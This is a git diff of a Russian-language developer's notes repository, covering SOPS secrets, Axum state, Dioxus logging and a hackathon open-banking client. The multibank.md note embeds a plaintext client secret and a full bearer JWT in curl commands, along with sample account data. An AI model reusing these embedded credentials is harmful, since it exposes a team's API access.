process isolation ещё более строгий через cgroups v2. Каждый терминал в Hyprland работает в отдельном systemd user slice, что даёт дополнительную изоляцию между terminal emulator instances.[github](https://github.com/getsops/sops)​ + +Для установки SOPS в NixOS: + +bash + +`nix-env -iA nixpkgs.sops` + +Таким образом, `sops exec-env` использует базовый Unix механизм process forking для создания изолированного environment scope, который автоматически уничтожается kernel'ом при exit child процесса — никаких manual cleanup действий не требуется.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)​ + +1. [https://habr.com/ru/articles/590733/](https://habr.com/ru/articles/590733/) +2. [https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/) +3. [https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops](https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops) +4. [https://habr.com/ru/companies/ru_mts/articles/656351/](https://habr.com/ru/companies/ru_mts/articles/656351/) +5. [https://docs.ensi.tech/devops-guides/principles/mozilla-sops](https://docs.ensi.tech/devops-guides/principles/mozilla-sops) +6. [https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html](https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html) +7. [https://github.com/getsops/sops](https://github.com/getsops/sops) +8. [https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru](https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru) +9. [https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html](https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html) +10. [https://github.com/getsops/sops/issues/1368](https://github.com/getsops/sops/issues/1368) \ No newline at end of file diff --git a/00-linux/utils/README.md b/10-linux/networking/README.md similarity index 100% rename from 00-linux/utils/README.md rename to 10-linux/networking/README.md diff --git a/00-linux/networking/troubleshooting.md b/10-linux/networking/troubleshooting.md similarity index 94% rename from 00-linux/networking/troubleshooting.md rename to 10-linux/networking/troubleshooting.md index f988049..1048b0e 100644 --- a/00-linux/networking/troubleshooting.md +++ b/10-linux/networking/troubleshooting.md @@ -59,4 +59,8 @@ text **Готово? Проверяй второй сервер!** 🚀 -Если ещё какие-то ошибки — докладывай! \ No newline at end of file +Если ещё какие-то ошибки — докладывай! + +команда для вставки ssh публичного ключа с локалки: + +`nano /root/.ssh/authorized_keys` \ No newline at end of file diff --git a/10-dev/00-rust/README.md b/20-dev/00-rust/README.md similarity index 100% rename from 10-dev/00-rust/README.md rename to 20-dev/00-rust/README.md diff --git a/20-dev/00-rust/axum sqlx postgres.md b/20-dev/00-rust/axum sqlx postgres.md new file mode 100644 index 0000000..2c11f9c --- /dev/null +++ b/20-dev/00-rust/axum sqlx postgres.md @@ -0,0 +1,44 @@ +Трейт `Clone` для структуры состояния `AppState` в Axum необходим для обеспечения **потокобезопасного** (thread-safe) доступа к общим данным, таким как пул соединений с базой данных, из нескольких одновременно обрабатываемых запросов.[temofeev+1](https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/)​ + +Когда вы запускаете веб-сервер на Axum, он обычно работает в многопоточной среде для обработки нескольких запросов параллельно. Каждому запросу (или, точнее, каждому рабочему потоку, который его обрабатывает) требуется свой собственный экземпляр состояния для работы.[rust-lang](https://users.rust-lang.org/t/axum-state-when-using-clone-and-arc/114349)​ + +## Подробное объяснение + +1. **Расшаривание состояния между потоками**: Axum использует экстрактор `State` для внедрения состояния приложения в обработчики (handlers). Чтобы передать это состояние в разные потоки, которые обрабатывают запросы, Axum должен иметь возможность создавать копии этого состояния. Трейт `Clone` предоставляет стандартизированный способ для такого копирования.[docs+1](https://docs.rs/axum/latest/axum/extract/struct.State.html)​ + +2. **Эффективность клонирования `PgPool`**: В вашем примере поле `db_pool` имеет тип `PgPool` из библиотеки `sqlx`. Важно понимать, что вызов `.clone()` для `PgPool` — это очень **дешевая операция**. Она не создает новый пул соединений и не открывает новые подключения к базе данных. Вместо этого она создает новый _указатель_ на тот же самый, уже существующий внутренний пул, увеличивая **счетчик ссылок** (reference counter). Это позволяет безопасно и эффективно использовать один и тот же пул соединений в разных частях вашего приложения одновременно.[reddit+1](https://www.reddit.com/r/rust/comments/173zzbb/axum_use_state_without_clone/)​ + +3. **Внутренняя работа Axum с `Arc`**: Зачастую, если тип состояния реализует `Clone`, метод `.with_state()` в Axum неявно оборачивает ваше состояние в `Arc` (Atomic Reference Counted pointer). `Arc` — это умный указатель, который позволяет безопасно владеть данными из нескольких потоков. Клонирование `Arc` также является дешевой операцией, так как оно лишь увеличивает атомарный счетчик ссылок, не копируя сами данные.[leapcell+2](https://leapcell.io/blog/robust-state-management-in-actix-web-and-axum-applications)​ + + +## Практические подходы + +Существует два основных способа управления состоянием в Axum, которые достигают одной и той же цели: + +|Подход|Пример кода|Объяснение| +|---|---|---| +|**`#[derive(Clone)]` на структуре** (как в вашем примере)|`#[derive(Clone)]`
`struct AppState { db_pool: PgPool }`
`.with_state(state)`|Это самый простой и распространенный способ. Он работает, потому что `PgPool` и другие подобные "умные" типы уже реализуют `Clone` эффективно (через `Arc` внутри) [temofeev+1](https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/)​.| +|**Явное использование `Arc`**|`type AppState = Arc;`
`struct MyState { ... }`
`.with_state(Arc::new(my_state))`|Этот подход делает разделяемое владение более явным в коде. Вы вручную оборачиваете состояние в `Arc`, а затем клонируете `Arc` при передаче в `.with_state()` [compile7+1](https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/)​. Результат тот же, но код более многословен.| + +Таким образом, требование `Clone` — это не о дорогостоящем копировании данных, а о механизме безопасного и эффективного разделения доступа к общему состоянию в асинхронной многопоточной среде Axum. Ваш код с `#[derive(Clone)]` является идиоматичным и правильным для работы с `PgPool` в Axum.[compile7+1](https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/)​ + +1. [https://users.rust-lang.org/t/axum-state-when-using-clone-and-arc/114349](https://users.rust-lang.org/t/axum-state-when-using-clone-and-arc/114349) +2. [https://docs.rs/axum/latest/axum/extract/struct.State.html](https://docs.rs/axum/latest/axum/extract/struct.State.html) +3. [https://www.reddit.com/r/rust/comments/173zzbb/axum_use_state_without_clone/](https://www.reddit.com/r/rust/comments/173zzbb/axum_use_state_without_clone/) +4. [https://snix.dev/rustdoc/axum/extract/struct.State.html](https://snix.dev/rustdoc/axum/extract/struct.State.html) +5. [https://leapcell.io/blog/robust-state-management-in-actix-web-and-axum-applications](https://leapcell.io/blog/robust-state-management-in-actix-web-and-axum-applications) +6. [https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/](https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/) +7. [https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/](https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/) +8. [https://www.test.guide-it.ru/docs/axum/state-middleware/state.html](https://www.test.guide-it.ru/docs/axum/state-middleware/state.html) +9. [https://www.shuttle.dev/blog/2023/12/06/using-axum-rust](https://www.shuttle.dev/blog/2023/12/06/using-axum-rust) +10. [https://habr.com/ru/articles/770332/](https://habr.com/ru/articles/770332/) +11. [https://github.com/tokio-rs/axum/issues/1374](https://github.com/tokio-rs/axum/issues/1374) +12. [https://github.com/tokio-rs/axum/discussions/2508](https://github.com/tokio-rs/axum/discussions/2508) +13. [https://stackoverflow.com/questions/78855741/is-it-ok-to-clone-a-connection-pool-in-rust-axum](https://stackoverflow.com/questions/78855741/is-it-ok-to-clone-a-connection-pool-in-rust-axum) +14. [https://www.reddit.com/r/rust/comments/16kono9/trying_to_use_mutable_appstate_in_axum_and/](https://www.reddit.com/r/rust/comments/16kono9/trying_to_use_mutable_appstate_in_axum_and/) +15. [https://docs.rs/axum/latest/axum/](https://docs.rs/axum/latest/axum/) +16. [https://users.rust-lang.org/t/how-to-pass-app-state-in-axum/104458](https://users.rust-lang.org/t/how-to-pass-app-state-in-axum/104458) +17. [https://qna.habr.com/q/1382956](https://qna.habr.com/q/1382956) +18. [https://rust-classes.com/chapter_7_4](https://rust-classes.com/chapter_7_4) +19. [https://www.youtube.com/watch?v=XZtlD_m59sM](https://www.youtube.com/watch?v=XZtlD_m59sM) +20. [https://tg-rs.github.io/carapax/axum/extract/struct.State.html](https://tg-rs.github.io/carapax/axum/extract/struct.State.html) \ No newline at end of file diff --git a/20-dev/00-rust/functional programming.md b/20-dev/00-rust/functional programming.md new file mode 100644 index 0000000..21f716e --- /dev/null +++ b/20-dev/00-rust/functional programming.md @@ -0,0 +1,33 @@ +Последовательный вызов функций через точку или передача результата одной функции в другую называется по-разному в зависимости от направления и синтаксиса:[habr](https://habr.com/ru/companies/yandex/articles/547786/)​ + +## Основные термины + +**Function composition (композиция функций)** — вызов функций справа налево, где результат одной функции передается в следующую. В математической записи: f∘g∘hf \circ g \circ hf∘g∘h означает f(g(h(x)))f(g(h(x)))f(g(h(x))). В Haskell используется оператор `.` для композиции.[habr](https://habr.com/ru/companies/yandex/articles/547786/)​ + +**Pipeline (конвейер, pipelining)** — передача данных слева направо через последовательность функций. Более естественен для чтения кода, так как порядок совпадает с порядком выполнения. Примеры операторов:[habr](https://habr.com/ru/companies/yandex/articles/547786/)​ + +- `|>` в F#, OCaml, Elixir (pipe operator) + +- `->` и `->>` в Clojure (threading macros) + +- `.then()` в JavaScript Promises + + +**Method chaining (цепочка методов)** — это ООП-паттерн, когда методы возвращают `self`/`this`, позволяя писать `obj.method1().method2().method3()`. Технически не чисто функциональный подход, так как часто мутирует объект.[habr](https://habr.com/ru/companies/yandex/articles/547786/)​ + +## Различия + +Композиция записывается в обратном порядке выполнения: `compose(three, two, one)(x)` выполнится как `three(two(one(x)))`. Конвейер в прямом: `pipe(one, two, three)(x)` — сначала `one`, потом `two`, потом `three`.[habr](https://habr.com/ru/companies/yandex/articles/547786/)​ + +В Rust методы можно чейнить через точку (например, iterator chains: `vec.iter().map(...).filter(...).collect()`), что семантически близко к pipeline. Это **fluent interface** паттерн, который заимствует идеи из функционального программирования.[habr](https://habr.com/ru/companies/yandex/articles/547786/)​ + +1. [https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) +2. [https://blog.skillfactory.ru/glossary/funkczionalnye-yazyki-programmirovaniya/](https://blog.skillfactory.ru/glossary/funkczionalnye-yazyki-programmirovaniya/) +3. [https://habr.com/ru/companies/yandex/articles/547786/](https://habr.com/ru/companies/yandex/articles/547786/) +4. [https://it.kgsu.ru/Lisp/lisp0051.html](https://it.kgsu.ru/Lisp/lisp0051.html) +5. [https://studfile.net/preview/7802106/page:3/](https://studfile.net/preview/7802106/page:3/) +6. [https://gb.ru/blog/funktsionalnoe-programmirovanie/](https://gb.ru/blog/funktsionalnoe-programmirovanie/) +7. [https://al.cs.msu.ru/system/files/21-FPL.pdf](https://al.cs.msu.ru/system/files/21-FPL.pdf) +8. [https://gitverse.ru/blog/articles/development/168-funkcionalnoe-programmirovanie](https://gitverse.ru/blog/articles/development/168-funkcionalnoe-programmirovanie) +9. [https://ipc.susu.ru/fp.html](https://ipc.susu.ru/fp.html) +10. [https://www.itweek.ru/themes/detail.php?ID=209957](https://www.itweek.ru/themes/detail.php?ID=209957) \ No newline at end of file diff --git a/20-dev/00-rust/microcontrollers rust.md b/20-dev/00-rust/microcontrollers rust.md new file mode 100644 index 0000000..8edfc4e --- /dev/null +++ b/20-dev/00-rust/microcontrollers rust.md @@ -0,0 +1,63 @@ +https://noxim.xyz/blog/rust-ch32v003/introduction/ + +My apologies for the oversight with the `.env` file. Your `justfile` and `sops` setup is a superior, production-ready approach, and I should have recognized that. Excellent work getting the secrets configured and achieving the successful `curl` result! That "abrakadabra" token is the first major milestone. + +So, the big questions: What do we do with this token, and what's next? + +## What to do with the token? + +The token you received is a **Bearer Token**. It's the key that proves to the bank's API that you have permission to access resources on behalf of your application (not a specific user yet, that comes later). + +You will use this token in the `Authorization` header for every subsequent API call to that bank. The `BankClient` is already set up to do this. When you call a method like `get_accounts` (which we will build next), it will first call `get_token()` to get the "abrakadabra" string, and then `reqwest` will attach it like this: + +`Authorization: Bearer abrakadabra` + +This is the standard mechanism for authenticated API requests. + +## Next Steps: A Proposed Roadmap + +Now that we have authentication, we can start building the core features. The ultimate goal is to fetch data, process it, and present it, including generating images of transactions. Here is a logical roadmap to get there. I propose we tackle these one by one, with a consensus check at each stage. + +**Stage 1: Fetching Core Data (The "Read" part)** + +1. **Implement Account & Transaction Models**: Define the `Account` and `Transaction` structs in `src/api/banking.rs` based on the OpenAPI specifications for the hackathon. This gives us the data structures to hold the information we'll fetch. + +2. **Implement `get_accounts()`**: Create a method in `BankClient` to fetch a list of accounts for a specific user. This will be our first real, authenticated API call using the token. + +3. **Create an Axum Handler for Accounts**: Add a new route like `GET /api/accounts/:bank/:user_id` that uses the `get_accounts()` method and returns the data as JSON. This will allow us to test the full flow. + + +**Stage 2: Storing and Aggregating Data (The "Write" part)** + +1. **Database Schema**: Define the SQL schema for `accounts` and `transactions` in our PostgreSQL database. We'll need to decide what information to store. + +2. **Save to DB**: Modify the Axum handler from Stage 1 to save the fetched accounts and transactions to our database. This is the foundation for creating a unified view of a user's finances. + + +**Stage 3: Visualization (The "Image Generation" part)** + +1. **Choose an Image Crate**: Research and select a suitable Rust crate for generating images (e.g., `image`, `plotters`, `svg`). `plotters` is a strong contender as it's designed for data visualization and can render to various formats. + +2. **Create an Image Generation Service**: Build a new module (e.g., `src/image_gen.rs`) that takes a list of transactions (fetched from our DB) and generates a visual representation, like a bar chart of spending by category or a timeline. + +3. **Expose via API**: Create a final Axum handler, perhaps `GET /api/transactions/:user_id/image`, that generates and returns the image file. + + +--- + +## Let's Start with Stage 1.1 + +I propose we begin with the first, most fundamental step: **defining the data models for Accounts and Transactions**. This is low-risk, gets us closer to our goal, and is a prerequisite for everything else. + +Does this roadmap and starting point make sense to you? Once we agree, I can provide the specific code snippets for the data models. + +1. [https://abank.open.bankingapi.ru](https://abank.open.bankingapi.ru) +2. [https://www.reddit.com/r/rust/comments/1ia29hp/safest_way_to_store_api_keys_for_production_tauri/](https://www.reddit.com/r/rust/comments/1ia29hp/safest_way_to_store_api_keys_for_production_tauri/) +3. [https://www.reddit.com/r/rust/comments/l5b0pq/how_to_manage_api_keys_in_an_open_source_project/](https://www.reddit.com/r/rust/comments/l5b0pq/how_to_manage_api_keys_in_an_open_source_project/) +4. [https://github.com/IAmMadfly/rust-up-bank-rest-api](https://github.com/IAmMadfly/rust-up-bank-rest-api) +5. [https://stackoverflow.com/questions/57650692/where-to-store-the-refresh-token-on-the-client](https://stackoverflow.com/questions/57650692/where-to-store-the-refresh-token-on-the-client) +6. [https://docs.rs/near-contract-standards/latest/near_contract_standards/storage_management/index.html](https://docs.rs/near-contract-standards/latest/near_contract_standards/storage_management/index.html) +7. [https://stackoverflow.com/questions/58972571/where-to-securely-store-an-access-token-used-for-api-requests-from-the-monzo-ban](https://stackoverflow.com/questions/58972571/where-to-securely-store-an-access-token-used-for-api-requests-from-the-monzo-ban) +8. [https://tms-dev-blog.com/jwt-security-for-a-rust-rest-api/](https://tms-dev-blog.com/jwt-security-for-a-rust-rest-api/) +9. [https://auth0.com/blog/build-an-api-in-rust-with-jwt-authentication-using-actix-web/](https://auth0.com/blog/build-an-api-in-rust-with-jwt-authentication-using-actix-web/) +10. [https://users.rust-lang.org/t/best-practices-for-managing-authentication-and-sessions-in-rust-web-applications/115884](https://users.rust-lang.org/t/best-practices-for-managing-authentication-and-sessions-in-rust-web-applications/115884) \ No newline at end of file diff --git a/20-dev/00-rust/multibank.md b/20-dev/00-rust/multibank.md new file mode 100644 index 0000000..b18bad6 --- /dev/null +++ b/20-dev/00-rust/multibank.md @@ -0,0 +1,416 @@ +psd2 + +ngrok + +--- + +POST +/auth/bank-token +```bash +curl -X 'POST' \ + 'https://vbank.open.bankingapi.ru/auth/bank-token?client_id=team275&client_secret=super6ecretid' \ + -H 'accept: application/json' \ + -d '' +``` + +```json +{ + "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZWFtMjc1IiwiY2xpZW50X2lkIjoidGVhbTI3NSIsInR5cGUiOiJ0ZWFtIiwiaXNzIjoidmJhbmsiLCJhdWQiOiJvcGVuYmFua2luZyIsImV4cCI6MTc2MjUyMjM0MX0.5VNzRnhXnkTA5IkJok-9L-zDGYQSrRmFkGAyw2FM4k0", + "token_type": "bearer", + "client_id": "team275", + "algorithm": "HS256", + "expires_in": 86400 +} +``` + + +--- +POST +/account-consents/request +```bash +curl -X 'POST' \ + 'https://vbank.open.bankingapi.ru/account-consents/request' \ + -H 'accept: application/json' \ + -H 'x-requesting-bank: team275' \ + -H 'Content-Type: application/json' \ + -d '{ + "client_id": "team275-6", + "permissions": [ + "ReadAccountsDetail", + "ReadBalances", + "ReadTransactionsDetail" + ], + "reason": "", + "requesting_bank": "test_bank", + "requesting_bank_name": "Test Bank" +}' +``` +json response: +```json +{ + "request_id": "req-73fdb8b9d63e", + "consent_id": "consent-46965b4ef205", + "status": "approved", + "message": "Согласие одобрено автоматически", + "created_at": "2025-11-06T13:21:06.556824", + "auto_approved": true +} +``` + +--- +GET +/account-consents/{consent_id} +```bash +curl -X 'GET' \ + 'https://vbank.open.bankingapi.ru/account-consents/consent-46965b4ef205' \ + -H 'accept: application/json' \ + -H 'x-fapi-interaction-id: team275-6' +``` + +```json +{ + "data": { + "consentId": "consent-46965b4ef205", + "status": "Authorized", + "creationDateTime": "2025-11-06T13:21:06.557680Z", + "statusUpdateDateTime": "2025-11-06T13:21:06.557680Z", + "permissions": [ + "ReadAccountsDetail", + "ReadBalances", + "ReadTransactionsDetail" + ], + "expirationDateTime": "2026-11-06T13:21:06.557675Z" + }, + "links": { + "self": "/account-consents/consent-46965b4ef205" + }, + "meta": {} +} +``` +--- +DELETE +/account-consents/{consent_id} +```bash +curl -X 'DELETE' \ + 'https://vbank.open.bankingapi.ru/account-consents/consent-46965b4ef205' \ + -H 'accept: */*' \ + -H 'x-fapi-interaction-id: team275-6' +``` + +204 + access-control-allow-credentials: true access-control-allow-origin: https://vbank.open.bankingapi.ru content-security-policy: upgrade-insecure-requests date: Thu,06 Nov 2025 13:30:50 GMT server: nginx/1.29.2 strict-transport-security: max-age=63072000; includeSubDomains; preload vary: Origin + +--- + +GET +/accounts + +```bash +curl -X 'GET' \ + 'https://vbank.open.bankingapi.ru/accounts?client_id=team275-6' \ + -H 'accept: application/json' \ + -H 'x-consent-id: consent-46965b4ef205' \ + -H 'x-requesting-bank: team275' +``` + +```json +{ + "data": { + "account": [ + { + "accountId": "acc-3846", + "status": "Enabled", + "currency": "RUB", + "accountType": "Personal", + "accountSubType": "Checking", + "nickname": "Checking счет", + "openingDate": "2024-10-30", + "account": [ + { + "schemeName": "RU.CBR.PAN", + "identification": "4081781027506084636", + "name": "Пенсионеров Пенсионер Пенсионерович (team275)" + } + ] + } + ] + }, + "links": { + "self": "/accounts" + }, + "meta": { + "totalPages": 1 + } +} +``` + +--- + +```bash +curl -X 'GET' \ + 'https://vbank.open.bankingapi.ru/accounts/acc-3846' \ + -H 'accept: application/json' \ + -H 'x-consent-id: consent-46965b4ef205' \ + -H 'x-requesting-bank: team275' +``` + +```json +{ + "data": { + "account": [ + { + "accountId": "acc-3846", + "status": "Enabled", + "currency": "RUB", + "accountType": "Personal", + "accountSubType": "Checking", + "description": "checking account", + "nickname": "Checking счет", + "openingDate": "2024-10-30" + } + ] + } +} +``` + +--- + +```bash +curl -X 'GET' \ + 'https://vbank.open.bankingapi.ru/accounts/acc-3846/balances' \ + -H 'accept: application/json' \ + -H 'x-consent-id: consent-46965b4ef205' \ + -H 'x-requesting-bank: team275' +``` + +```json +{ + "data": { + "balance": [ + { + "accountId": "acc-3846", + "type": "InterimAvailable", + "dateTime": "2025-11-06T14:50:59.151865Z", + "amount": { + "amount": "121398.37", + "currency": "RUB" + }, + "creditDebitIndicator": "Credit" + }, + { + "accountId": "acc-3846", + "type": "InterimBooked", + "dateTime": "2025-11-06T14:50:59.151876Z", + "amount": { + "amount": "121398.37", + "currency": "RUB" + }, + "creditDebitIndicator": "Credit" + } + ] + } +} +``` + +--- + +```bash +curl -X 'GET' \ + 'https://vbank.open.bankingapi.ru/accounts/acc-3846/transactions?from_booking_date_time=2025-01-01T00%3A00%3A00Z&to_booking_date_time=2025-12-31T23%3A59%3A59Z&page=1&limit=3' \ + -H 'accept: application/json' \ + -H 'x-consent-id: consent-46965b4ef205' \ + -H 'x-requesting-bank: team275' +``` + +```json +{ + "data": { + "transaction": [ + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m0-1", + "amount": { + "amount": "114911.38", + "currency": "RUB" + }, + "creditDebitIndicator": "Credit", + "status": "Booked", + "bookingDateTime": "2025-10-28T17:59:45.080562Z", + "valueDateTime": "2025-10-28T17:59:45.080562Z", + "transactionInformation": "💼 Зарплата", + "bankTransactionCode": { + "code": "ReceivedCreditTransfer" + } + }, + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m0-5", + "amount": { + "amount": "8378.49", + "currency": "RUB" + }, + "creditDebitIndicator": "Debit", + "status": "Booked", + "bookingDateTime": "2025-10-25T17:59:45.080562Z", + "valueDateTime": "2025-10-25T17:59:45.080562Z", + "transactionInformation": "🎬 Развлечения/Покупки", + "bankTransactionCode": { + "code": "IssuedDebitTransfer" + } + }, + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m0-4", + "amount": { + "amount": "2707.49", + "currency": "RUB" + }, + "creditDebitIndicator": "Debit", + "status": "Booked", + "bookingDateTime": "2025-10-22T17:59:45.080562Z", + "valueDateTime": "2025-10-22T17:59:45.080562Z", + "transactionInformation": "🚌 Транспорт", + "bankTransactionCode": { + "code": "IssuedDebitTransfer" + } + } + ] + }, + "links": { + "self": "/accounts/acc-3846/transactions?page=1&limit=3", + "next": "/accounts/acc-3846/transactions?page=2&limit=3" + }, + "meta": { + "totalPages": 24, + "totalRecords": 70, + "currentPage": 1, + "pageSize": 3 + } +} +``` + +следующие 6 страниц: + +```bash +curl -X 'GET' \ + 'https://vbank.open.bankingapi.ru/accounts/acc-3846/transactions?from_booking_date_time=2025-01-01T00%3A00%3A00Z&to_booking_date_time=2025-12-31T23%3A59%3A59Z&page=2&limit=6' \ + -H 'accept: application/json' \ + -H 'x-consent-id: consent-46965b4ef205' \ + -H 'x-requesting-bank: team275' +``` + +```json +{ + "data": { + "transaction": [ + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m1-1", + "amount": { + "amount": "135275.00", + "currency": "RUB" + }, + "creditDebitIndicator": "Credit", + "status": "Booked", + "bookingDateTime": "2025-09-28T17:59:45.080562Z", + "valueDateTime": "2025-09-28T17:59:45.080562Z", + "transactionInformation": "💼 Зарплата", + "bankTransactionCode": { + "code": "ReceivedCreditTransfer" + } + }, + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m1-5", + "amount": { + "amount": "7164.52", + "currency": "RUB" + }, + "creditDebitIndicator": "Debit", + "status": "Booked", + "bookingDateTime": "2025-09-25T17:59:45.080562Z", + "valueDateTime": "2025-09-25T17:59:45.080562Z", + "transactionInformation": "🎬 Развлечения/Покупки", + "bankTransactionCode": { + "code": "IssuedDebitTransfer" + } + }, + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m1-4", + "amount": { + "amount": "3052.32", + "currency": "RUB" + }, + "creditDebitIndicator": "Debit", + "status": "Booked", + "bookingDateTime": "2025-09-22T17:59:45.080562Z", + "valueDateTime": "2025-09-22T17:59:45.080562Z", + "transactionInformation": "🚌 Транспорт", + "bankTransactionCode": { + "code": "IssuedDebitTransfer" + } + }, + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m1-3", + "amount": { + "amount": "20870.88", + "currency": "RUB" + }, + "creditDebitIndicator": "Debit", + "status": "Booked", + "bookingDateTime": "2025-09-20T17:59:45.080562Z", + "valueDateTime": "2025-09-20T17:59:45.080562Z", + "transactionInformation": "🏠 ЖКХ/Аренда", + "bankTransactionCode": { + "code": "IssuedDebitTransfer" + } + }, + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m1-6", + "amount": { + "amount": "22441.23", + "currency": "RUB" + }, + "creditDebitIndicator": "Credit", + "status": "Booked", + "bookingDateTime": "2025-09-18T17:59:45.080562Z", + "valueDateTime": "2025-09-18T17:59:45.080562Z", + "transactionInformation": "💰 Подработка/Бонус", + "bankTransactionCode": { + "code": "ReceivedCreditTransfer" + } + }, + { + "accountId": "acc-3846", + "transactionId": "tx-team275-6-m1-2", + "amount": { + "amount": "7699.96", + "currency": "RUB" + }, + "creditDebitIndicator": "Debit", + "status": "Booked", + "bookingDateTime": "2025-09-15T17:59:45.080562Z", + "valueDateTime": "2025-09-15T17:59:45.080562Z", + "transactionInformation": "🏪 Продукты", + "bankTransactionCode": { + "code": "IssuedDebitTransfer" + } + } + ] + }, + "links": { + "self": "/accounts/acc-3846/transactions?page=2&limit=6", + "next": "/accounts/acc-3846/transactions?page=3&limit=6", + "prev": "/accounts/acc-3846/transactions?page=1&limit=6" + }, + "meta": { + "totalPages": 12, + "totalRecords": 70, + "currentPage": 2, + "pageSize": 6 + } +} +``` \ No newline at end of file diff --git a/20-dev/00-rust/wasm rust (frontend dioxus leptos)/links.md b/20-dev/00-rust/wasm rust (frontend dioxus leptos)/links.md new file mode 100644 index 0000000..dc8cb99 --- /dev/null +++ b/20-dev/00-rust/wasm rust (frontend dioxus leptos)/links.md @@ -0,0 +1 @@ +https://wasm-bindgen.github.io/wasm-bindgen/?search=logging \ No newline at end of file diff --git a/20-dev/00-rust/wasm rust (frontend dioxus leptos)/logger.md b/20-dev/00-rust/wasm rust (frontend dioxus leptos)/logger.md new file mode 100644 index 0000000..9f26549 --- /dev/null +++ b/20-dev/00-rust/wasm rust (frontend dioxus leptos)/logger.md @@ -0,0 +1,46 @@ +```rust +use dioxus::prelude::*; +use dioxus_logger::tracing::{Level, info}; + +fn main() { + dioxus_logger::init(Level::INFO).expect("logger failed to init"); + dioxus::launch(App); +} + +#[component] +fn App() -> Element { + info!("App rendered"); + rsx! { + p { "hi" } + } +} +``` + +```rust +use dioxus::prelude::*; +use dioxus::logger::tracing::{Level, info}; + +fn main() { + dioxus::logger::init(Level::INFO).expect("logger failed to init"); + dioxus::launch(App); +} + +#[component] +fn App() -> Element { + info!("App rendered"); + rsx! { + p { "hi" } + } +} +``` + +```rust +fn main() { + // Включает стандартный форматер с временем в UTC + tracing_subscriber::fmt::init(); + + tracing::info!("Это сообщение будет с временной меткой."); +} +``` + +https://crates.io/crates/dioxus-logger \ No newline at end of file diff --git a/10-dev/README.md b/20-dev/10-go/wait group.md similarity index 100% rename from 10-dev/README.md rename to 20-dev/10-go/wait group.md diff --git a/20-dev/20-database/Untitled.md b/20-dev/20-database/Untitled.md new file mode 100644 index 0000000..c151240 --- /dev/null +++ b/20-dev/20-database/Untitled.md @@ -0,0 +1,130 @@ +You are absolutely right. **My previous example was "Tutorial Mode" (easy to start), not "Professional/Solid Mode".** + +For a "Solid Practice" workflow, **you should never commit credentials** to `reshape.toml`. Since you are already using **SOPS**, we should leverage it to inject the credentials at runtime. + +Here is the **Professional "Rustacean" Workflow** using `sops`, `just`, and environment variables. + +### 1. The Strategy + +1. **`.env.enc` (Encrypted)**: Holds the `POSTGRES_PASSWORD` and `POSTGRES_USER`. +2. **`reshape.toml` (Generic)**: Contains only structure (host, port, db name), **no secrets**. +3. **`Justfile` (The Glue)**: Unwraps the secrets from SOPS and injects them as environment variables (`PGPASSWORD`) which the underlying Rust Postgres driver (used by Reshape) should respect. + +*** + +### 2. Implementation + +#### Step A: Configure `.env` and Encrypt it +Create your `.env` (or edit your existing one) to include the standard Postgres environment variables. + +```bash +# .env (Local unencrypted version for setup) +POSTGRES_USER=bootcamp +POSTGRES_PASSWORD=my_super_secure_password +POSTGRES_DB=pizzeria +# Standard env var that libpq/rust-postgres clients read automatically +PGPASSWORD=my_super_secure_password +PGUSER=bootcamp +PGHOST=localhost +``` + +**Encrypt it with SOPS:** +*(Assuming you ran `just setup-secrets` from my previous answer)* +```bash +sops --encrypt --age $(grep -oP "public key: \K.*" .config/keys.txt) --input-type +dotenv --output-type dotenv .env > .env.enc +``` +*Add `.env` to `.gitignore`. Commit `.env.enc`.* + +#### Step B: Clean `reshape.toml` + +Remove the credentials from the configuration file. + +```toml +# reshape.toml +[database] +host = "localhost" +port = 5432 +name = "pizzeria" +# username = ... <-- REMOVE THESE +# password = ... <-- REMOVE THESE + 